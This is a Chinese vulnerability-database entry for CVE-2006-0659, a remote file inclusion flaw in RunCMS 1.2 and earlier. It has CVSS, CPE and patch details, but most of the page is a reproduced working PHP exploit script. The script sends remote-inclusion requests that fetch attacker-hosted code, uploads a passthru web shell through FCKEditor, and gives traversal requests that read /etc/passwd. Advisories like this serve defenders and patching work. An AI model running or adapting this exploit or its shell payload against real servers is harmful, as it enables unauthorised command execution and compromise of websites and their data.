CVE-2006-0659
CVSS6.8
发布时间 :2006-02-13 06:06:00
修订时间 :2011-09-08 00:00:00
NMCOE    

[原文]Multiple PHP remote file include vulnerabilities in RunCMS 1.2 and earlier, with register_globals and allow_url_fopen enabled, allow remote attackers to execute arbitrary code via the bbPath[path] parameter in (1) class.forumposts.php and (2) forumpollrenderer.php.


[CNNVD]RunCMS远程代码执行漏洞(CNNVD-200602-177)

        RunCMS 1.2及之前版本中存在多个PHP远程文件包含漏洞。在启用了register_globals和allow_url_fopen的情况下,远程攻击者可以借助(1) class.forumposts.php和(2) forumpollrenderer.php中的bbPath[path]参数执行任意代码。

- CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

cpe:/a:runcms:runcms:1.1a
cpe:/a:runcms:runcms:1.2
cpe:/a:runcms:runcms:1.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0659
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0659
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200602-177
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/16578
(PATCH)  BID  16578
http://secunia.com/advisories/18800
(VENDOR_ADVISORY)  SECUNIA  18800
http://www.vupen.com/english/advisories/2006/0503
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0503
http://www.securityfocus.com/archive/1/424708
(UNKNOWN)  BUGTRAQ  20060209 runCMS <= 1.3a2 possible remote code execution through the integrated FCKEditor package
http://retrogod.altervista.org/runcms_13a_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/runcms_13a_xpl.html

- 漏洞信息

RunCMS远程代码执行漏洞
中危 访问验证错误
2006-02-13 00:00:00 2007-05-10 00:00:00
远程  
        RunCMS 1.2及之前版本中存在多个PHP远程文件包含漏洞。在启用了register_globals和allow_url_fopen的情况下,远程攻击者可以借助(1) class.forumposts.php和(2) forumpollrenderer.php中的bbPath[path]参数执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        FCKeditor FCKeditor 2.2
        FCKeditor FCKeditor_2.3b.tar.gz
        http://prdownloads.sourceforge.net/fckeditor/FCKeditor_2.3b.tar.gz
        RunCMS RunCMS 1.3.a2
        RunCMS FIX1002206-2
        http://www.runcms.org/public/modules/downloads/singlefile.php?lid=242
        RunCMS RunCMS 1.1 A
        RunCMS FIX1002206-2
        http://www.runcms.org/public/modules/downloads/singlefile.php?lid=242
        RunCMS RunCMS 1.1
        RunCMS FIX1002206-2
        http://www.runcms.org/public/modules/downloads/singlefile.php?lid=242
        RunCMS RunCMS 1.2
        RunCMS FIX1002206-2
        http://www.runcms.org/public/modules/downloads/singlefile.php?lid=242
        FCKeditor FCKeditor 2.0 RC2
        FCKeditor FCKeditor_2.3b.tar.gz
        http://prdownloads.sourceforge.net/fckeditor/FCKeditor_2.3b.tar.gz
        FCKeditor FCKeditor 2.0 rc3
        FCKeditor FCKeditor_2.3b.tar.gz
        http://prdownloads.sourceforge.net/fckeditor/FCKeditor_2.3b.tar.gz

- 漏洞信息 (1485)

RunCMS <= 1.2 (class.forumposts.php) Arbitrary Remote Inclusion Exploit (EDBID:1485)
php webapps
2006-02-09 Verified
0 rgod
N/A [点击下载]
<?php
#   ---runcms_13a_xpl.php                                     17.30 09/02/2006 #
#                                                                              #
#                 RunCMS <= 1.2 arbitrary remote inclusion exploit             #
#                   "    <= 1.3a shell upload through FCKEditor                #
#                              coded by rgod                                   #
#                  site: http://retrogod.altervista.org                        #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "But when the army is restless and distrustful, trouble is sure to #
#  come from the other feudal  princes. This is simply  bringing anarchy  into #
#  the army, and flinging victory away."                                       #

/* a short explaination:

   i) on unpatched <=1.2 versions I tested:

   if register_globals = On & allow_url_fopen = On
   arbitrary remote inclusion in
   modules/newbb_plus/class/class.forumposts.php
   at line 15:

   ...
   include_once ($bbPath['path'].'/include/user_level.php');
   ...

   and in modules/newbb_plus/class/forumpollrenderer.php
   at line 14:

   ...
   include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
   ...

   poc:
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/

   where on [somehost] you have:

   <?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>

   in http://[somehost]/include/user_level.php/index.html
   and in: http:/[somehost]/language/suntzu/main.php/index.html<br>

   it seems this vulnerabilties has been patched from 1.3 version
   and old packages <= 1.2 has been uptaded with new patches

   ii) on unpatched <=1.2:
   if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
   from local resources:

   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00

   iii) on 1.3a version:

   also, integrated in runCMS we have an old version of FCKEditor
   (see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
   so you can upload files on target machine, .php3 files, .php5 and inc files
   call them directly (iii.a) and if not set as executable files on target machine,
   you can try local inclusion with versions <=1.2 (ii.b)

   poc:
   (iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
   (ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00
          http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00

                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********RunCMS <= 1.3a remote commands execution********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********RunCMS <= 1.3a remote commands execution*********</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%">  <tr> <td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/runcms/  or just / ) </span></p><p><input type="text" name="CMD">         <span
class="Stile5"> * specify a command     </span></p>    <p>    <input type="text"
name="LOCATION"><span class="Stile5">a remote location ( ex: http://www.somesite
.com, without traling slashes) , if you leave empty STEP 1-2 will be skipped...,
it works with versions <=1.2  </span></p><p><input type="text" name="port"><span
class="Stile5">specify  a  port other than  80 (default value)</span> </p>   <p>
<input  type="text" name="proxy"><span class="Stile5">send  exploit  through  an
HTTP proxy (ip:port)</span> </p> <p>          <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}
function refresh()
{
  flush();
  ob_flush();
  usleep(100000);
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

  $host=$_POST[host];$path=$_POST[path];
  $port=$_POST[port];$LOCATION=$_POST[LOCATION];
  $CMD=$_POST[CMD];$proxy=$_POST[proxy];

  echo "<span class=\"Stile5\">";

  if (($host<>'') and ($path<>'') and ($CMD<>''))
  {
    $port=intval(trim($port));
    if ($port=='') {$port=80;}
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
    $host=str_replace("\n","",str_replace("\r","",$host));
    $path=str_replace("\n","",str_replace("\r","",$path));
    $CMD=urlencode($CMD);

    if ($LOCATION<>'')
    {
      # STEP 1 -> arbitrary remote inclusion in modules/newbb_plus/class/class.forumposts.php
      $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
      $packet.="cmd=$CMD&bbPath[path]=$LOCATION HTTP/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}

      # STEP 2 -> arbitrary remote inclusion in modules/newbb_plus/class/forumpollrenderer.php
      $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
      $packet.="cmd=$CMD&bbPath[path]=$LOCATION/&xoopsConfig[language]=suntzu HTTP/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
      //if you are here...
      echo "Arbitrary remote inclusion failed... trying STEP 3 -> Uploading a shell through FCKEditor<br>";
    }


    # STEP 3 -> Use FCKEditor to upload malicious code
    $SHELL ="<?php echo chr(72).\"iMaster!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
    $SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
    //we try to guess allowed extensions...
    // you should succeed with .php3
    $extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
    //add what you want
    //'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
    //empty for 2.2
    $upload_command= array('FileUpload','');
    $path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
    //calculate how far we are from site root
    $cc=explode("/",$path);
    $ccc=count($cc)-2;
    $back="";
    for ($xx=1; $xx<=$ccc; $xx++) { $back.="../";}
    for ($x=0; $x<=count($extensions)-1; $x++)
    {
    for ($y=0; $y<=1; $y++)
      {
      # STEP 3a -> Upload the shell
      srand(make_seed());
      $anumber = rand(1,9999);
      $filename="suntzu".$anumber.$extensions[$x];
      $data="-----------------------------7d529a1d23092a\r\n";
      $data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
      $data.="Content-Type:\r\n\r\n";
      $data.="$SHELL\r\n";
      $data.="-----------------------------7d529a1d23092a--\r\n";
      $packet="POST ".$p."class/fckeditor/editor/filemanager/browser/default/connectors/php/";
      $packet.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
      $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
      $packet.="User-Agent: Sun-tzu giving you the pain\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Content-Length: ".strlen($data)."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      $packet.=$data;
      show($packet);
      sendpacketii($packet);
      if (!eregi("200 OK",$html)) {die("Cannot find connector.php...<br>");}
      if (eregi("This connector is disabled",$html)) {echo "Exploit failed... -> php connector not enabled";die;}
      if (eregi("url=\"",$html))
      {
        $temp=explode("url=\"",$html);
        $temp2=explode("\"",$temp[1]);
        $path_to_shell=$temp2[0];
      }
      echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
      # STEP 3b -> Launch commands...
      #by default a "UserFiles/File/" dir is generated inside site root when you upload
      #files, this dir is not protected by an .htaccess file or whatever
      $packet="GET ".$path_to_shell.$filename."?cmd=$CMD HTTP/1.1\r\n";
      $packet.="User-Agent: GoogleBot/1.1\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Connection: Close\r\n\r\n";
      show($packet);
      sendpacketii($packet);
      if (eregi("200 OK",$html)){
                                 if (eregi("HiMaster!",$html))
    			                 { echo "Exploit succeeded...<br>";
				                   echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
                     			   echo "we should have phpinfo() here, see html...<br>";
			                       die;
                                 }
                                  else
                                  {
                                   echo "Successfully uploaded...<br>
			                       but is not an executable on target server...<br>
                                   let's try to include it...<br>
                                   ";
                                    # STEP 3c
                                    $packet="GET ".$p."modules/newbb_plus/class/class.forumposts.php?";
                                    $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
                                    $packet.="Host: ".$host."\r\n";
                                    $packet.="Connection: Close\r\n\r\n";
                                    show($packet);
                                    sendpacketii($packet);
                                    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
                                    # STEP 3d
                                    $packet="GET ".$p."modules/newbb_plus/class/forumpollrenderer.php?";
                                    $packet.="cmd=$CMD&bbPath[path]=".$back."../../..".$path_to_shell.$filename."%00 HTTP/1.1\r\n";
                                    $packet.="Host: ".$host."\r\n";
                                    $packet.="Connection: Close\r\n\r\n";
                                    show($packet);
                                    sendpacketii($packet);
                                    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
                                  }
                                }
      refresh();
    }
  }
  //if you are here
  echo "Exploit failed...";

  }
  else
{echo "Note: on remote location prepare this code in<br>
        http:/[remote_location]/include/user_level.php/index.html<br>
        and in:<br>
        http:/[remote_location]/language/suntzu/main.php/index.html<br>
        ";
 echo  nl2br(htmlentities("
        <?php
        ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);passthru(\$cmd);die;
        ?>
        "));
 echo    "<br>Fill * required fields, optionally specify a proxy...";}
 echo "</span>";
?>

# milw0rm.com [2006-02-09]
		

- 漏洞信息

23023
RunCMS class.forumposts.php bbPath[path] Parameter Local File Inclusion
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-02-09 Unknow
2006-02-09 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站